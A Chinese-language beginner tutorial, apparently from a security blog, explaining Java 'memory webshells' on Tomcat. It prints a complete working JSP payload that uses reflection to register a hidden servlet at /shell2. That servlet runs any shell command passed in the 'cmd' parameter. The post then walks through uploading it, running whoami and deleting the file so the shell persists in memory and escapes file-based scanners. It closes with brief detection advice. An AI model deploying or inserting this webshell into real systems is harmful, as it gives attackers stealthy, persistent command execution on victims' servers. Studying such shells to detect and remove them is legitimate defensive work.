一. 说明
很多小伙伴,刚学网安不久,可能懂php怎么写网站,也知道一句话木马,但java web不太熟悉,所以很难理解内存马是什么,本文我将尽可能做到,不需要您具备java基础,初步懂得内存马是什么。
PS:本文仅用于技术研究与讨论,严禁用于非法用途,违者后果自负
二. 内存马简介
传统一句话木马,是你要留个.php文件,或.jsp文件在网站服务器上。这个叫落地马。
如果安全人员在服务器装个webshell查杀工具,扫下目录,就你的马不就上午传完,中午就不能用了吗?这个时候,对于用java开发的网站来说,有个很有意思的马,叫 内存马。
顾名思义,马是注入到你内存的,没有具体文件。这样webshell查杀工具可扫不到你。
三. 内存马实例演示
现在我先给串jsp代码,大家不用读懂它,纯给大家看下的。
这是一段注入内存马的jsp代码。
(引用标注,该马参考csdn的Tr0e师傅)
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <%! public class Shell2Servlet extends HttpServlet { public void init(ServletConfig servletConfig) throws ServletException {} public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } public void destroy() {} } %> <% //通过反射获取applicationContext ServletContext servletContext = request.getServletContext(); Field applicationField = servletContext.getClass().getDeclaredField("context"); applicationField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext); //通过反射获取standardContext Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext context = (StandardContext) standardContextField.get(applicationContext); //创建wrapper,将Servlet名放到wrapper,最后实例化Shell2Servlet Wrapper wrapper = context.createWrapper(); wrapper.setName("Shell2Servlet"); wrapper.setServletClass(Shell2Servlet.class.getName()); wrapper.setServlet(new Shell2Servlet()); //将wrapper放到standardContext里 context.addChild(wrapper); //映射url地址,注意如果是Tomcat7则使用addServletMapping("/shell2", "Shell2Servlet") context.addServletMappingDecoded("/shell2", "Shell2Servlet", false); %> </body> </html>
现在我们把这串代码上传到一个tomcat服务器上(这里就直接传了,你就假装这有文件上传漏洞)
现在,去访问这个文件,让服务器去运行这段jsp代码
兄弟们,现在我们的马就已经注入到jvm的内存中,现在我们访问下内存马
/shell2?cmd=whoami
现在我们把之前的kk.jsp这个文件给它删除了
现在还能访问/shell2吗,兄弟们?
嘿嘿,还是可以,现在懂了内存马有多有意思吧,没有文件也能搞,因为已经注入进内存了,现在这个马能一直运行到服务器重启为止。
(为防止有人说我也许没删除,我们查下看这个文件在不在)
编码下,绝对路径
dir 访问
是不是不存在了。
四. 内存马现实使用说明,加简明原理
大家看了这个jsp代码,以为内存马是通过文件上传漏洞先上传个jsp代码的,额,可以。但实际上一般是用反序列化注入进去的可能性比较高。
本文只是为了让大家初步理解这是什么。
如果要具体说的话,java web有三大组件,Servlet 、Filter 、Listener
对于这个java web,正常逻辑是你在web.xml注册个Servlet 并命名为shell2,在创建个自定义Shell2Servlet
的类继承HttpServlet
你的服务器就会多个路径叫/shell2,它的执行代码写在Shell2Servlet 类中。(springboot的@GetMapping("/shell2") )
当然现实内存马直接去改web.xml没必要,可以动态注册个Servlet ,这玩意一旦运行注册成功就进内存了,这就是内存马,你不需要有个具体的文件。
Filter 、Listener 也这原理。
如果要进阶学习的话,你就需要多java web java se的知识了。
五、内存马的查杀
这玩意的,因为是运行在内存里的,只能把内存的字节码dump出来,反编译为java代码检查了,这有些专门的工具,如Arthas等。
你也可以检查下可疑的web访问日志的不存在路径,但这两种办法都挺大工作量的。
结语
谢谢各位看到这里,希望这篇文章对您有帮助!
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)